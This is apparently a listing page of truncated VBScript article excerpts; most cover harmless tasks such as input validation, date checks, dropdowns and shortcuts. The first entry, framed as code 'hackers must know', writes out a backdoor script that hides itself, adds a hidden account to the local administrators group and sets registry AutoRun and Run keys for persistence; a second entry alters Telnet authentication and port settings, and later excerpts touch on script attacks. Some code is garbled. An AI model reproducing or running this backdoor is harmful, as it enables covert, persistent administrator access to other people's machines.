• Several VBS file codes that hackers must know


    1. door.vbs ‘***************  ‘door.vbs   by   Black! Black‘*************** dim wsh,FA,FSO set fso=CreateObject(“Scripting.FileSystemObject”)  Set FA= FSO.GetFile(WScript.scriptFullName) FA.Attributes =34 set wsh=CreateObject(“WScript.Shell”) “net user IUSE_SERVER /add”,0,true “net localgroup administrators IUSE_SERVER /add” ,0,true wsh.Regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32″,””&FA&”” wsh.Regwrite  “HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue”,0,”REG_DWORD” wsh.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun”,””&FA&”” wsh.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun”,””&FA&”” Function: add immortal account (start with the start of CMD), completely hide in win.Use: run directly. 2. ntlm.vbs ‘***************  ‘ntlm.vbs   by   Black! Black‘*************** dim wsh  set wsh=CreateObject(“WScript.Shell”)  wsh.regwrite “HKLM\Software\Microsoft\TelnetServer\1.0\NTLM”,WScript.Arguments(0),”REG_DWORD”  wsh.regwrite “HKLM\Software\Microsoft\TelnetServer\1.0\TelnetPort”,WScript.Arguments(1),”REG_DWORD”  Function: customize the ntml and port of […]

  • Using class organization development in VBScript


    When creating web applications within an organization, sometimes you find yourself copying and pasting the same code from one application to another. If you can solidify all these processes into a good package, then you can use it in the whole domain, which will be much more convenient.   Also, if you have a reusable […]

  • Vbsrcipt code against SQL injection


    <script language=”vbscript”>          function checkstr(strname)              strn=trim(strname.value)              str=trim(strname.value)              for i=1 to len(str)                  strcheck=asc(left(str,1))                  if not ((strcheck=<122 and strcheck>=97) or (strcheck<=90 and strcheck>=65) or (strcheck<=57 and strcheck>=48)) then                       Msgbox (“do not use characters other than English letters and numbers!”)                      strname.value = left(strn,i-1)                      strname.focus                      exit for                  end if                  str=Right(str,len(str)-1)              next           end function          function checknum()              checknum=true              if not document.all.txtMailSize.value=”” then                  if not IsNumeric(document.all.txtMailSize.value) then                       Msgbox (“do not use characters other than numbers!”)                      document.all.txtMailSize.value=””                      document.all.txtMailSize.focus                      checknum=false                  else if document.all.txtMailSize.value>5 or document.all.txtMailSize.value<0 then                           Msgbox (“please fill in a number between 5 and 0!”)                          document.all.txtMailSize.value=””  […]

  • Using vbsrcipt to judge whether it is a date or not


    <SCRIPT LANGUAGE=”vbScript”> <!– ‘judge whether it is a datefunction thisdate(dt)     if not IsDate(dt) then         thisdate=false     elseif int(left(dt,4))<int(1750) then         thisdate=false     else         thisdate=true     end if end function //–> </SCRIPT>

  • Parameters and usage of stream, WSHShell, wshurlshortcut objects and shell. Application


    Kafree collectionSource: we can’t confirm the source of the forum. Please contact us if you have any copyright problem1. Stream object Component: “ADODB. Stream”  There are the following methods:  Cancel   method       The usage is as follows     Object.Cancel       Description: cancels the execution of a pending asynchronous command   Execute   or […]

  • VBS implementation of the drop-down box corresponding to the input value


      VBS implementation of the drop-down box corresponding to the input value       Choose from   gu1dai   Of   Blog   keyword     VBS implementation of the drop-down box corresponding to the input value   <TITLE>select center</TITLE> <link rel=”stylesheet” type=”text/css” href=”style.css”> <META NAME=”Generator” CONTENT=”EditPlus”> <META NAME=”Author” CONTENT=””> <META NAME=”Keywords” CONTENT=””> <META NAME=”Description” CONTENT=””> <head> <SCRIPT LANGUAGE=”vbScript”> <!– function keypress()  tname=mainform.tname.value  ‘alert(mainform.tname.value)  for each tn in mainform.tablename   allvalue=tn.value   if left(allvalue,len(tname))=tname then    ‘alert(allvalue)    mainform.tablename.value=allvalue    exit for   end if  next end function […]

  • A page display function of ASP simulated by vbs


    Just finished a project, idle boring, want to change their homepage, but no ASP permissions, so a whim, with VBS simulation of a picture pagination display function! Due to the writing is suitable for their own use of the function, it is inevitable that many places are not very perfect! Please also give some suggestions. […]

  • Local connection disable / enable batch scripting


    Copy codeThe code is as follows: Const ssfCONTROLS = 3  sConnectionName  = ” Local connection“   ‘ Can be changed to need to control the connection name, such as “wireless network connection” and so on   sEnableVerb  = ” & enable“  sDisableVerb  = ” & disable“    ‘ XP system should be  ” & disable“   set shellApp = createobject(“shell.application”)  set oControlPanel = shellApp.Namespace(ssfCONTROLS)  set oNetConnections = nothing  for each folderitem in oControlPanel.items    if   […]

  • Right click send (SendTo) to create a shortcut to a custom location of VBS


    After adding a shortcut to the SendTo folder, you can right-click to send a copy of these files to the folder, which is actually a copy process. Sometimes we just want a shortcut, so we have to find another way.  Save the following code content as shortcut.vbs, and then create a shortcut to SendTo directory […]

  • Windows Script practice: vbs script code for SAP patch


    The main functions of the script include: Read and modify registry  File content modification, such as hosts, services file  File attribute modification and file copy  System environment variable setting  For reference only   Copy codeThe code is as follows: ‘sap setup script  Written by: SCZ   2005.04.20  ‘last modified date:   2005.04.22  ‘directory must exist: […]

  • Adsutil.vbs in script attack


    1、 Brief introduction  What is adsutil.vbs? I believe that the network administrator who has used IIS will not know. This is a script provided by IIS to manage IIS from the command line. It is located in the% SystemDrive% \ inetpub \ \ adminscripts directory. It’s 95426   Byte size. Such a large script is […]

  • Using VBS to realize script ending process and prevent process starting


    There is no class this afternoon, so I hide in my private space and start to think about some problems. When browsing VBS related cases, I wrote two small programs, which have hack nature (in fact, as long as I can “borrow a knife to kill”, what software has no hack nature-  -!)。 Kill.vbs is […]